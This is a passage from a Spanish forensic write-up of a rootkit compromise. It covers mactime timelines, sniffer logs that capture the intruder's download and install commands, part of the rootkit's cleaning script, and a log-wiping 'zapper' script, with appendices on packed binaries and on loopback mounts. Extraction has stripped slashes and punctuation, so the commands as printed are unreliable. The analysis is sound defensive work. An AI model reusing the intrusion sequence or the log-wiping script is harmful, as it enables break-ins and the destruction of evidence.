1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

